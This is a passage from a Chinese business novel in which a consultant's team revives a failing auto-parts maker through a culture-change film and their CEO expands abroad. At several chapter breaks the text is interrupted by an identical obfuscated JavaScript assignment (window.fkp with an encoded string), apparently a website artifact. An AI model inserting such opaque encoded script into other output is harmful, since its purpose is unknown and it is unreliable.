从年会到现在短短几个月,九月举手投足俨然已经不是那个说话做事不显山不露水的冷傲女子,如今的她光芒四射,说话做事都有大局观,安排布局一招一式都细致周到又有王者风范,倒有些像傲视群雄的女王。 他突然想,就算败在她的手中,自己也不算丢脸。 九月跟老甘交流了一些想法,各自心里都坦诚相见,达成共识下一步该如何着手去行动。当天她就离开了分公司,因为雷辰光打电话过来,跟她约好第二天带团队去朋友公司去做初诊。 跟上次一样,九月还是带着整个团队去的。 她手底下这个团队太需要实战了,理论上已经被她灌输得差不多,就差上阵真刀真枪的做项目了。 她跟雷辰光约定好,只带他们到达客户外围,不用大摇大摆的带他们进去,但要提前跟客户负责人打好招呼,以免吃闭门羹。 雷辰光知道她自有一套运行规则,不便过多干涉,全部依她。 那天雷辰光载着九月,一路跟九月从侧面介绍朋友的企业,九月大部分时间都在倾听和思考。后面跟着一辆车,是任聪带着团队其他四个人。 到了目的地附近,雷辰光便停车说到了,拐个弯就是企业正门。 九月下车带着团队一起过去,大概是雷辰光提前打好招呼,门卫打电话问了问便放他们进去了。 联英科技公司的墙面上,写着“客户至上诚信共赢”八个字,据说是公司的核心价值观。创始人已经离世,现在接手的人是二股东,公司自创始人离世后就一落千丈。 第一百五十六章 九月初诊一针见血 公司已经面临破产清算,资不抵债。二股东将自己账户里的资金用来发员工工资,拼命撑着摇摇欲坠的公司。经常凌晨还在公司忙活,但似乎除了他之外,没有人将公司的生死存亡当回事。 九月和任聪等人来到联英科技时,大门洞开,一辆货柜车正在卸货,听一个仓管员直抱怨,“出一批货退一批货,天天做重复工作,忙完装车忙卸货,真没劲!” 九月与任聪简短对视一眼,带着团队默契地朝仓库走去。仓管员卸下来一堆货,品管部的员工正在开箱检货。九月和任聪各拿起一个看了看,发现挑出来的产品存在极明显的不良。 任聪问,“这么明显的质量瑕疵,公司内部在制作时怎么没检查出来?竟然流到下一道工序,直至出货都无人发现。” “制作过程中,人手不够,可能漏掉了。我们出货前都是抽检,只要抽检的不良率没超过3%就放过去,一直是这样做的。” “但你从一箱货里就挑出差不多1\/3的不良品,这抽检的人没有点‘实力’,还真做不到刚好抽到全是良品。”任聪感觉匪夷所思地说道。 虽然任聪的话有讽刺的意味,但九月也感觉不可思议,“你们抽检工作一般怎么做的?” “成品从车间运下来后,抽检在出货前检查尾数,再按编码看头箱货,基本就这样。”对方瞥了一眼两人,不耐烦地回话,手上挑出来的产品也摆放得重了些。 九月胳膊碰碰任聪,一行人走了,听到那人在后面咕囔一句,“好产品又不是检验出来的,不去找生产,来找我问什么话!” 老欧性格比较冲动,听到这话就要上去理论。 任聪赶紧拉住他,“想想自己是来做什么的。” “聪哥你误会了,我不会跟他吵,就想劝他说话注意分寸。” “用不着你去劝,管好你自己。不然,以后遇见形形色色的客户,你还能开办一个学校不成。” 老欧的脾性已经改了很多,此时听任聪训话,他只是跟干周几个“嘿嘿”笑一声,挠挠后脑便过去了。 这时,九月带着他们停在车间门口。作一个静音的手势,便推门进去了。 在车间,看到每个人都在忙着返工,戏剧性地又听到三个员工在抱怨,“天天返工,我们公司品管在管些什么?天天做重复工作,幸好拿的是时薪,如果计件工资我们就惨了。” “唉,抱怨解决不了问题,埋头干就行了。” “没意思。” 这回,连九月也没再去询问什么,但这些话她都听在耳里。 从车间出来,直奔联英科技的办公楼。 印总正在开会,每次退货就要给全体管理层劈头盖脸痛骂一次,每天如此,管理层似乎已经习惯了。 会议结束后,全都如释重负般地走出来,仿佛这段会议时间只是在忍受别人的诉苦,诉苦结束后,诉苦者的负面情绪跟自己无关。 走出会议室,有人告诉印总,有几位客人在办公室等他。 他强打精神,快步走去办公室。 “慕小姐,你们来了!不好意思,今早客户退回来的货到了,公司召开了一个全员检讨会议。怠慢了!”说着招呼几人在沙发上坐下,一行六人,看这阵势有点大。便问道:“今天就准备实施还是?” 九月回头看了一眼团队,确实挺唬人,尤其他们还都挺高大。此时印总问起,又不能实话实说,惹客户质疑自己团队的实力,便笑着解释:“我们的执行团队都在这里了,每个人执行的任务不同。雷总跟我说了您跟他之间的关系,普世对待客户向来不能有半点马虎,何况还有这层关系呢。 所以就把团队都带过来了解情况,以便后面执行的时候都能清楚知道问题缘由,用合适的方式对症下药。” 听九月这么一解释,印总挺高兴,道了一声,“原来如此,只是辛苦大家了。” “印总太客气了。瞧您刚才气色不佳,公司的事情挺累人吧?” “累,太累了。”印总唉声叹气,语气里透着疲惫:“要我说就狠狠心,把公司关掉算了,年过半百何必这么累,我赚的钱够我养老。” “印总是有责任心的人,那么多员工要失业,跟随你打拼天下的人,你也不忍心半途丢下他们。否则,不会找到我们,也不会用自己的钱全砸进公司,维持到现在。” “雷总上次跟我喝茶聊起这事,他现在生意做得风生水起,我也想取取经。后来听说是你带着团队一起协助他做的,而且我曾经在新闻上看到贵司拯救一家还挺有名的企业,就在网上搜到贵司信息,没想到贵司做的有名项目多了去了。这才下定决心托雷总找到你们。 我自己一直在死嗑管理知识,希望能将公司现状扭转过来。但这些天,我看到全员的态度......我带你们去公司转转,评估是否有救,实在不行,我也不想坚持了。”印总摇摇头,态度有些消极,跟前段时间判若两人。 九月没多说什么,既没承诺也没安慰。领着团队跟着印总浩浩荡荡地出去了。 车间和各个办公室里挂满了警示标语,以及客户不满意的罚单复印件,裱成照片挂在墙上。九月问:“这是什么时候挂的?” 印总回道:“前段时间开始,退货率越来越高,我让下面的人挂的。” 九月没说话,在回到印总办公室之后,说,“印总如果相信我,就把张挂的那些内容撤了吧。” “是有什么不妥吗?”印总吃惊问道。 九月看看任聪,想听听他的看法。任聪会意,接过话头:“这些看似在杜绝问题,只会起到表皮的警示作用,反而副作用比较强,谁看到罚单都不会有正面心情,也没有人能够对警告真正服从,口服心不服,所以解决不了问题。” 九月点点头表示认同,又补充了几句,“关键是你把做不好工作最严重的后果,缩小至‘公司会收到罚单’和‘员工挨骂,受罚’,要知道你们公司生产的产品是交通工具上的零部件,任何产品的不良,都会引发血案。 一场血案就会有一至数十个家庭的悲剧,罚单事小,生命为重。产品质量把控不好,实质是员工没有意识到严重后果,所以对产品、对工作没有敬畏之心,自然无法真正投入谨慎之心。” 印总恍然大悟。“说的很有道理。慕小姐可有更好的解决方法?” “这正是我们公司的服务范畴,不难解决,印总放心。”九月胸有成竹地道。 第一百五十七章 团队协力制作小剧本 见九月笃定的神情,印总仿佛看到了希望,当即正式签订合约,九月承诺过两天就来深度“会诊”。 回去后,让任聪单独出具一份初诊报告,又让其他成员每个人写下自己发现的问题点写出来,并写两三个应对方法。 倒也不负她的一番呕心沥血的手把手培育,就连干周和方仔都能写出一两个问题点和解决方案了。虽然看问题还是比较肤浅,解决方案也不够深入,总的来说还是有进步。 当天晚上,九月请大家吃烧烤,奖励他们的大进步。 几个年轻人像小孩一样,热热闹闹地簇拥着九月,开着车便去了闹市。 第二天给他们放了一天假。 九月则开车去了分公司,问及计划执行情况以及上次她转让给蓝鲸团队的客户情况。 前些天老甘带着团队成员去做了诊断,并将执行方案出具给游总,他已经看到执行方案,并确认了。具体执行等游总出差回来就可以牵头召集全体管理人员开改革会议。 团队比较积极主动,恨不得今天就开始行动,大概是很久没有上场干活了,比客户还要急迫。 老甘向九月介绍了这家企业的问题点,说道:“游总是管理科班出身。最初的核心价值观一系列核心文化都执行得非常到位,公司规章制度也一丝不苟地正在执行,所以员工的归属感也挺强的。 如今强敌在前,必须要适应大环境,不能让企业一昧停留在以厂为家,与世无争的家庭氛围温情管理下。这在市场上可行不通,尤其行业中突然涌现很多竞争对手时。当初执行得很彻底的文化如今变成了弱势,很难改过来。 当然,也并非一定要改,可以继续留存这种文化当成亚文化稳固凝聚力,但必须再塑造全新的文化引领公司进行变革,以适应公司生存发展。” 九月很快便明白症结,“文化变革在所难免,现在时代变了。既然他们文化有这些特点,我估计组织结构也存在一定问题。” 老甘佩服九月的反应敏捷:“你猜的没错,在这种文化下每个人都有轮岗制,有时会兼顾,好处是部门里哪个人突然离开或请假,公司不会受到影响。问题是大家变成全才,几乎没有一个能在岗位做得非常深入出色。” 九月点点头,“所以制度和流程都有必要变,还有人力培养结构上,加入专精人才的培养适应市场。这家企业的文化底子不错,优点在这里,那困难也会在这里。吃惯了大锅饭,可能不愿意脱离原来的思维呀。多费点心给他们的老观念纠正过来。你的方案我可以看看吗?” “当然可以。”老甘现在对九月完全言听计从,将她当成合作伙伴平等看待了。 “方案很完美,怪不得大家跃跃欲试想上场了。”九月微笑道。 老甘也笑。“你那边怎么样?忙得过来吗?” “还行,那群孩子很给力。后天也要开始连轴转了,所以趁现在有空过来看看。” “没事,这边已经恢复如初,基本没有大问题。有困难我再求助你吧,以前我好面子,总想在大家面前树立一个常胜将军的强者形象。我现在明白,真正的强者根本不用刻意树立形象,一站在那里就是了。”老甘意有所指,他由内而外发生了很大改变,整个人柔和很多。 老甘的变化,九月感受最明显:“你在我心里一直是强者,这一点毋庸置疑。” 九月回去后,买了点菜回去,琢磨着今晚也要开始就自己的工作开始着手安排。 任聪比她想像中勤奋,休假一天实则窝在公司整理诊断报告,并做出解决方案草案。 九月喜不自禁地道:“任聪,你太会给人惊喜了!” 他神色羞赧,说道:“反正我也没别的事,闲着也是闲着,就提前把工作做了。” “太优秀了,难怪你进步那么快!”九月一边看一边赞道。 其他几人都在玩牌,听到这话也放下手中的牌围过来,老欧说道:“聪哥,说好一起放松放松,不带这么卷的!” 书生也道:“你不是说你就上上网吗?怎么还工作上了。” “我是上网来着,上网也无聊,能玩一天么。”任聪笑道。 “我知道,我知道,这就是那啥的力量。”方仔有次无意中看到任聪手机里有九月在年会上演唱的照片,而任聪看着那张照片发呆,连他站在身边都不知道,那时他就明白了。 “什么那啥?”干周搭着方仔的肩膀,好奇的问。 “别胡说!”任聪朝方仔后脑勺轻轻一拍,“去玩你们的。” 方仔打个哈哈,转身躲得远远的。“聪哥,放心,我替你保密。” “你告诉我,我跟你一起替聪哥保密。”老欧嚷道。 任聪转头用眼神飞刀过去。 九月好笑地制止他们没正形的样子:“好啦好啦!你们几个也不差,不过,每个人都要知道自己为了什么而工作,是为了工作混口饭吃,还是想干出一番事业来福及家人。我相信你们都是有潜力的人,这些天你们的进步也充分说明这一点。不用跟任何人比,就跟自己比,今天进步一点你今天就没白过,这是每个人对自己目标的负责态度。” “是,领导!”他们参差不齐说道。 方案执行后,书生是最忙的。 配合任聪的方案撰写小剧本,因为在海量公司就写过剧本,虽然只是内部审核,但九月给了一些建议后,他基本知道的逻辑。 所以,有了之前的基础,工作起来顺风顺水。 方案第一阶段,先给全员树立一个深入骨髓里的品质意识,后面的改革工作更容易展开。 小剧本创作出来后,找了一名剪辑师在一些电影里找到有用的素材,再结合在联英科技公司里拍摄的一些真实场景素材,拼揍成一部有指向意味的小电影。 分批组织全员‘观影’,电影内容关于产品零件在制作过程中,因生产各个环节的漫不经心和质检疏忽大意,出售出去。客户的来货检验和使用人员也没有时间更换零件,车子就这么卖出去了。 主角是家庭幸福美满的小可一家,爸爸的项目达成,妈妈考上了律师研究生,爷爷的七十大寿,奶奶的病情稳定了,而小可则考上了重点高中,于是决定全家要在暑期自驾游,正好买了这两零件有问题的车。 在路上,小可救助了可怜的流浪狗,此时切换镜头:不合格零件开始滑动; 全家人在大雨天里帮助路上没带伞的两个女孩送回家,再切换镜头:不合格零件已经移位; 遇见生病昏倒在地的老人送去医院,这时,不合格零件脱离原来的位置 给山区里的儿童捐赠了早就准备好的物资,零件就快彻底松落。就在返程路上,大家一齐唱着歌,在山区弯弯绕绕的山路上平缓前行,不合格零件突然飞了出去,卡在齿轮里,整个车辆结构因为这一缘故失灵,惯性将车辆掀翻,滑落谷底...... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第一百五十八章 尚月获九月捷报 温暖氛围与危机的紧迫感循环插播,善良与遗憾的感观冲击,结果那一幕让现场一片惊呼,此时,现场灯光亮起,公司的不良品出现在屏幕上,“一个产品,紧系1条甚至几十条生命,请为你手上的每一个产品负责!” 在场所有人都紧紧盯着屏幕,一些员工低下头,一些则悄悄抹掉腮边的眼泪。 当全部员工轮流观影完毕,车间里的状况大有好转。 印总惊喜说道,“这场观影活动,太震撼了,也确实有成效。” 九月倒是早已预知结果,“这种影响,不会持续太久,我们要马上进入第二阶段。” 九月将核心文化梳理出来后,用生动的现实例子解说企业文化,形象而深刻。随后录影留给公司,以后文化工作者可以按她的思路去讲课,不会对文化存在五花八门的误解。 小李则在负责文化制度,跟印总一项项将文化制度修正,留其精华,去其糟粕。 修正好的文化最终要落到实处,进入了文化制度的实施。联英公司组织一支文化项目组,跟着九月的团队进行改革后的文化试行,反馈,再实施,再反馈,一直到所有人都开始认可此文化。 公司对于质量上的要求,也重新评估,决定提升自我要求,在客户没有严苛要求的时候,自己的出货良品率达到了100%合格率。 几次下来,联英公司内部的整顿让客户大感惊讶,仅几个月的时间,变化竟这么大。合作重新燃起希望。 印总非常满意这样的成果,在项目结束后亲自登门感谢。 推杯换盏间,印总便问及经验,以及以后须要留意的关键结点。 九月在席间,便说了一番话:“罗马不是一天建成,在于每天改变一点点,最终改掉了所有的产品缺陷。罗马也不是一天毁灭的,任何企业的倾覆,都是文化的倾覆,实质是人心的倾覆,都存在一个蚁洞扩裂的过程。印总对企业的用心和关爱程度比我们要厚重百倍,只不过,没有找到病根罢了。” 走的时候,他们把全部的方案都交给印总,并嘱咐他,“公司文化已进入正轨,我们公司的客服部随时来公司回访,如果发现问题也好及时纠正。印总要改变老观念,带头执行新制定的文化。只要你坚持执行,其他人就必会坚持。” 印总心中十分感激,千恩万谢。 任聪不免感叹道:“成就一家企业的是心态,毁掉一家企业的也是心态。” 九月笑道,“你说得对,这就是我们工作的意义。把所有负面心态都扭转成积极心态,事自然成了。” 这个项目是任聪从初诊到执行,每一步都亲力亲为的一次。看到他如此感慨,知道他在期间成长了不少。便及时要任聪复盘,“这一次项目你有什么工作心得,你回去后写一份报告给我。” “好。” “除了工作心得,你有没有什么感想?”九月问。 “千言万语很难描述我此时的感受,只觉得这份工作于我而言,早已不仅是一份可以拿高薪的工作。在实现自我价值的同时,也从工作过程着看到残缺的部分,因为自己的努力,正一点点圆满起来。这个过程令人振奋,让人欲罢不能。”任聪正色道。 回想他刚来普世时的状态,跟他此时的心境,真如脱胎换骨一般。 他能说出这样一番话,令九月深感欣慰。便吐露肺腑之言:“我去年刚来普世时,跟你此时的感受是一样的。这份工作带来的意义,不仅在于看到客户的难处,并解决问题获得成就感,从事这份职业时间长,还会对我们的生活以及人生带来影响。 万事皆有可能,随时转换思维。与其在困境中作困兽之斗,不如沉下心来考虑其他的路。石板下的植物,一根筋往上顶几乎是一条死路,但它懂得探寻其他的办法,利用自己的柔韧弯腰贴顺着石板寻找亮光,哪里有亮光能与它光合作用就往哪里伸展,最终得以逃出困境。 就比如拿联英科技的项目来说。联英科技头顶笼罩的就是‘心态’石板,印总一直强调质量重要,其实不用强调人人心中有数,他企图号召大家撞开石板,就等于逼大家承认自己的麻木与不负责任。所以,遭到强烈反噬。” “尚总经常跟我们强调《道德经》中所说,‘柔之胜刚,弱之胜强,天下莫不知,莫能行。’天底下的规律如此。植物用柔韧助自己脱困,而联英科技在我们的引导下也唤醒了大家心底的柔软,于是主动卸掉曾经自我维护的坚硬铠甲。穷则思变,变则通,这句话永远不会过时。” “说得真好。”任聪很有共鸣。 几天后,雷辰光约九月吃饭,团队便知道他这是要履行承诺了。 果然,九月回来的时候,兴奋地告知团队,“我们要准备大干一场,后面有很多大项目,有一些甚至是外资企业。我们肯定是忙不过来的,所以想转几个项目给分公司,大家没意见吧?” 大家一致赞同。 九月将好消息带给分公司,分公司状态好转,但像以往一样,大家拼尽全力收效甚微,但也有一些小进步,至少有两个客户已经进入了谈判的阶段,还是很有希望的。 此时,听到九月带来的好消息,大家不禁喜道,“这下不用愁了。” 尚云正在国外考察市场,顺便帮助几个团队选好基地扎下根来。获知九月的捷报,不禁嘴角扬起,“果然是我的九月。” 他已经谈妥几个客户交给海外的团队在做。进展并不算很顺利,每一个客户都是钻研很久才慢慢找到缺口攻破的。 他跟木信每天都有密切联系,九月团队的消息也是木信告知他的。 “如果当初由九月去开拓分公司,可能我们那三名团队领头羊也不会离职了。”木信想来还是有些遗憾,公司里的每一名精英,都是花了很大代价培养起来的。流失一名足够可惜,何况还是三名呢。 尚云知道他对自己当初的决策有些不解,便淡淡地问:“知道我最初为什么明明知道老甘无法顺利挑起重担,还要将他推出去吗?” “说实话,我曾经想过你是担心九月的能力,但现在看来,九月被你放在那偏远地区都存活下来了,而且还救济了分公司,你并不觉得意外。当初老甘顶不住时,你也是第一时间就想到让九月去支援,显然这一招棋你是故意这么走的。”木信分析道,又说道:“当然,你也不可能为了让老甘对九月心服口服,而使团队付出这么惨烈的代价,这不像你的思维和做法。所以,我现在没有看懂。” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第一百五十九章 欧美市场开拓不顺 尚云缓缓道:“在对手的围追截堵下,分公司生存的概率很低。但我们的战略需要,一切布局好又不得不这么做。 我一开始就打算让九月或者由你去分公司主持大局,但公司突然转战海外,各个部门都要跟着转换战术,你必然离不开,只得依靠九月。 为了保证九月快速在外扎根,因此九月被我用掩人耳目的方法派送出去,而老甘则吸人眼球的方式去了分公司。虚虚实实让对手难以分辨,也是没办法中的办法。” 木信听他这么一解释,知道所有人都被尚云这招棋骗了,方才恍然大悟。“原来一开始你就选中了九月开创分司业务。” “兵不厌诈,战场的生存之道。”尚云低声道。“确实,看到他们开拓市场那么艰难,也实在不忍心。但不经一番风雨难以磨练意志难成大事,一只鹰之所以能搏击长空,不是天生的。而是在羽翼渐丰的时候就被母鹰从悬崖推下去,生生在危境中练就的本领。我相信现在老甘可以真正担起重任了,就等这场暴风雨平息。以后,他会是你的重要支柱。” “我的?” “对。”尚云继续说,“公司未来的路还长,我无法一直伴随公司的发展。我希望你要开始抓紧时间组建自己的核心班子,直至随时都能顶替我,主导普世的一切事物。 把公司的宗旨、使命传承下去。公司若走到穷途末路,当然,如果一条道走到黑,毋庸置疑一定会走入穷途末路。” “时代在发展,时刻迎来变局,没有提前布局、变通,就会面临末路。当你有所准备,虽处下下策也不必心急忙慌,即使身处绝境,只要抛下曾经那些光辉、荣耀,放低姿态,保持柔韧,加紧推陈创新,也能转危为安的。” 木信听明白了,尚云这是交付重任前在提前打预防针。“尚总,我明白你的意思,我已经在做这些工作。只是为什么突然说这些?” “留给我们的时候不多了。”尚云一语双关地说。 木信心里咯噔一下,想到尚总一直服用的药物:“尚总,你最近身体还好吧......” 尚云也不希望木信有太大的心理压力,便故作轻松,淡笑道:“想到哪里去了。我只是在想,这个世界为什么会有普世这样的受害者,这要归结到宏观环境。 这也从侧面说明我们做的一切都是有意义的,这是普世的使命,也是所有普世人的使命。人是环境的产物,要改变现状先改变环境,而改变环境必须改变文化和观念。沉淀几千年的人类文化中有一些不合时宜暗黑引导和弱肉强食的本能观念。想要改变岂非一朝一夕,这是一个大工程。” “普世的重任便是一代接一代地参与完成这项工程,能直接改变文化的地方无非一个是军队,一个是企业,特别是制造业。它们一个关系到信仰,一个关系到利益,都跟人自身息息相关,更易接受。 企业人都改变观念,就能做到以一传十,以点盖面,不断扩大影响范围。但我们的机会不多了,因为以人为组织的企业越来越少,来了国外我更加感受明显。人都被机械和智能机器人所取代,必须赶在那之前实现我们的目标。” 尚云这一趟海外之行,感触颇深。 木信听着他的谆谆教导,心沉了沉,应道:“尚总,我明白了。你也不必太过忧心,我们正在做,并且也都做得不错。另外,安源小学送来了一块大匾牌和感谢信,说年前收到我们捐赠的基建款项,如今已经快要落成,希望您能出席当天的峻工仪式。” “你代替我去,露面让大众认识你。” 聊到这里,尚云看了看时间,差不多该出发去拜访客户了,几天前就约好的。便跟木信简单交代了几句,收了线。 尚云带着几个顾问来到客户公司,尚云在海外拓展客户明显不同于国内。出发前就给大家讲了这边企业的经营思维,签合同后又亲自带队诊断,商讨案例解决方案与实施步骤,有时连细节都交待得很清楚。 顾问们也是老员工了,跟尚云时间长,相当有默契。知道他在国内根本不会这样做,因此他们随时像如临大敌般,不敢掉以轻心。 其实,经过大波澜的人做事总会更加缜密,也是由于身处不利的环境中,凡事都必须一次做好,因为别人不会给第二次机会,他也不能给海外本就排斥普世的潜在客户留下不好印象。 来了之后办公商议地点安排在临时会客厅,尚云想去参观客户公司被拒绝。 交涉了很久,但对方表示,还没有正式签订合约,先检验团队资质,谈谈要怎么做能解决现存的问题。 尚云静静坐着,也不出声,眼睛停留在对方脸上。对方是一位白人高管,见尚云一声不吭盯着他看,不禁好奇。“尚先生,咱们谈工作,为什么盯着我的脸?” “史密斯先生,你知道我国的中医吗?治病前先诊病,诊病方法就是‘望、闻、问、切’,你不让我去看看公司的情况,我就这么给你公司捏造一个病因,你也不放心啊。 就像你,长期喝酒过量,导致面部皮肤下的毛细血管破裂,远看白里透红,近看才知道你的肝脏已经受损严重,形成严重的慢性病,必须戒酒。如果我没有靠近你,这些我看不出来。” 史密斯摸了摸脸,惊讶道:“原来尚先生还懂医学?你说得太对了,我前几天才去医院检查,医生跟你的说法一致。”旋即很为难的说,“不是我不让你进公司,而是我们公司生产的都是高科技产品,上面要求高度保密。” 尚云诚肯地说:“你放心,我可以签保密协议,而且我只看跟我工作有关的东西,比如人和工作氛围,其他的比如公司理念、公司流程都是可以跟你讨论的。” “那么我只能放你一个人进去,你两位同事必须留在外面。” 尚云回头看了看他们,点头道:“没问题。” 在史密斯的陪同下,尚云快速在公司内转了一圈。如此投鼠忌器,实在不符合尚云凡事喜欢深究、喜欢研磨细节的个性。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第一百六十章 普世意外收获一员猛将 好在他经验足够老道,任何蛛丝马迹都逃不过他洞察力。初略看了公司,已有三分把握。其他的问题点都来自史密斯的描述,尚云要求他尽量客观,不要加上个人主观意见。 尚云在电脑上敲出方案大意,待细化,把笔记本电脑推过去给他看,“大致初步判断,有以下几个问题。看你们的内部管理,倾向于封闭式管理,办公环境限制有余,但自由发挥不足,团队氛围压抑,可能如你所说,公司做的高科技产品,必须谨防泄密,所以比较偏重于森严管理。但这方面的文化跟公司发展不符,如果我没有猜错,公司在创新研发上后劲不足。” “另外我看到员工跟管理之间的互动方式,得知员工与公司黏性不大,更别谈忠诚度。说明团队文化没做好,没有凝聚力。按你刚才所言,公司的目标确实也挺宏远,但这离员工太远,跟他们可能没太大的关系,我的意思是号召不了人心。我知道贵司的高科技技术在整个行业里是排在顶尖,但要是持续这么下去,竞争对手很快会赶超你们。” 他看后喃喃自语什么,声音很轻,尚云没听清。但看得出来,他并不反对尚云发现的几个重要问题,只是点头说,我得问问团队的意见。 “当然可以!”尚云把简写方案发给他,这家公司知道自己的问题在哪,也无法自愈。就像很多企业知道企业文化的重要性,却不知道如何真正做好企业文化。并且,还坦诚地将自己的解决办法,简略成两句话附在后面。 带着两名顾问从客户那里回来,有人报告尚云,“刚接到一名外籍中年男人的电话,说是我们之前有发送过文化摸底调研报告给他。他已经填好,并打算亲自交给尚总。” “哦?他怎么会知道我在这?”尚云问。 “我告诉他的。他一通电话就问你在哪里?他表示已经打过越洋电话给总部,没找到你。我说你这段时间刚好在国外事业部。” 就是为了递交调研报告?尚云凭直觉此人一定有诉求:“有没有留电话,我给他回个电话。” 尚云通过电话,得知对方是叫彼得,在企业文化方面有十五年的研究经验,累积到现在,他研究过的企业超过五万家。 跟对方约好两天后在咖啡馆见面,此人从洛杉机赶过来,风尘仆仆。 戴着一顶帽子,留着修理整齐的黑色短须,高挺鼻梁上架着一副细边眼睛。对方气质从容不迫,很有学者气质。 两人做了自我介绍后,便言归正传。“彼得先生此次远道而来一定不是为了交一份调研报告。” “没错。我还有更重要的事情。我在几个月前收到贵司的调研问卷邮箱,我知道,这完全有可能是随机的。但我看到调研问卷以及贵司附送的公司简介和品牌故事,你们的品牌故事吸引我主动去了解贵司的具体情况。我在互联网上搜索查阅普世公司大量资料之后,我认为,普世就是我寻找的雇主。” “彼得先生在找工作?” “不是。”彼得摇头,“我其实有自己的产业——大片果园,产品销往海外,有专人在管理。我不需要为赚钱而找工作。因为我更沉迷于研究企业发展和文化与组织之间的关系。在很早之前我就开始研究了,完全是兴趣所致。一边做着不相关的工作,一边研究企业文化。我曾经去很多专业机构面试,有些专业机构的经营理念与我个人追求不符,有些则不愿意接受我,认为我年纪太大,还没有实战经验。” 尚云觉得很有趣,“刚才听到彼得先生说,已经有十五年的研究经验,那么你有没有一些自己的主张?” “这正是我不回邮件而是希望亲自跟你见面的原因。”彼得从自己的黑色公文包里拿出一札厚厚的打印稿纸,递给尚云:“这是我的研究成果,你可以看看。” 尚云接过来并不看,笑着摇头,用流利的英文说道:“我现在还不能看,但我相信你的实力和研究深度。一个自发做这件事情的人,是不会敷衍自己的。如果你选择加入我的公司,非常欢迎。不过,在此之前,我想先听听你对普世公司的认知。” 没想到,彼得对普世文化从善如流,侃侃而谈普世主张的“客户没想到的我们先做到,客户想到的我们做到极致”的价值观,核心文化非常符合市场竞争力,让客户无可挑剔,赢在质量与口碑。 公司重视培训,以军事文化为底色,管控周密,训练有素,旨在执行力。 在管理上注重人性化以及设计出优秀的培养人才制度,真正让员工挖掘潜力跟公司双向实现目标,而不是花薪水请员工来实现企业的终极目标,员工心态不一样,这已经胜出大部分企业了。 特别是普世的研发团队是公司非常重视的一个部门,时时推出新的研发成果,这一点很多行内公司没法做到,当初收到的调研邮件即是研发组发出的,说明还在不断探索创新。 彼得补充说到,“世界上有不少企业都拥有完美的文化。但鲜少像普世文化以及普世七大铁律被当成神谕一样贯彻执行,这让人感到无比惊讶。我在媒体上也看到不少你的采访和观点,尚先生是个好企业家,你创造的普世也值得追随,我愿意奉献我的研究成果给公司,一起达成公司崇高理想,不以盈利为最终目的,要以实现客户的使命为使命。” 尚云满意地点头,说道:“彼得先生对普世如此了解,大概花了多长时间?” 彼得稍微回忆了一下,说道:“保守估计三个月。期间,我还去了一趟中国。” “你对文化事业的痴迷与执着令我感动。我们也是这几个月才开始挺进海外市场,外企跟我们国家的民企还是有根本上的不同。无论是管理模式,还是文化土壤。因此,像你这样资深的研究人员特别稀缺。普世欢迎你,你的加入一定会让普世如虎添翼!” 两人谈妥入职事宜,彼得便回去了。 接了一个电话,挂断电话后看到龙子玥很早就发来的信息,“尚云哥,你什么时候回国,不然我飞去国外陪你过七夕吧!” 尚云有些恍惚,这一年过得真快。他跟九月几乎没怎么见面,甚至鲜少通电话,主要是两人的时差问题。忙完工作的时候她那边已经深夜,等她到了白天忙工作,他这边又早已入夜。正在普世冲刺阶段,能不能打开海外局面,这几个月很关键,九月那边肩负着分公司和自己小团队的存活问题,也是忙得脚不沾地。 两人都很默契地不去扰乱对方的节奏,如果不是龙子玥提醒,他可能记不起还有这么个节日。 打开聊天框,两个的信息互动还是上周的工作汇报,再往上翻发现两人这几个月的互动都是千篇一律的工作汇报和工作回复。 他苦笑。却又无可奈何。 “九月,最近工作还顺利吗?”他不敢打电话,怕扰她清梦。只是发了一串文字。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第一百六十一章 尚云秘访姜城 尚云吓一大跳,看了看时间才四点多,她那边也应该清晨四点多,“你醒这么早?” “梦见我回到小时候,爸妈说在车站等我,去了车站找不着他们,一着急就醒了。”九月腮边挂着泪,坐在床上,手机电筒在狭小的空间里亮得格外刺眼,另一只手紧紧攥着摆在膝上的案宗袋。 尚云久久没有回信息,她发了个笑脸过去,“只是一个梦,没事,我还能再睡会。” 他说,“等我回来,陪你去看看他们。你再睡会。” “好。” 第二天,尚云便跟团队交代了工作,搭乘飞机回了国。初诊过的那家企业主动联络他谈合作时,他已经到了机场,便将史密斯的电话推给当初携带的那两名顾问去接洽合作事宜。 他还是头一次来姜城事业部,办公场地是行政部门提前找的,他并没有插手。 当初他跟行政部门提的唯一要求便是力求简约,没想到眼前看到的场景简约到极点,可用艰苦两个字来形容,让他难以置信。 他有点后悔没亲自来挑选场地,没跟行政部表述清楚他的需求。 这支团队却用最出色的业绩撑起了分公司生命线,此时他内心五味杂陈。 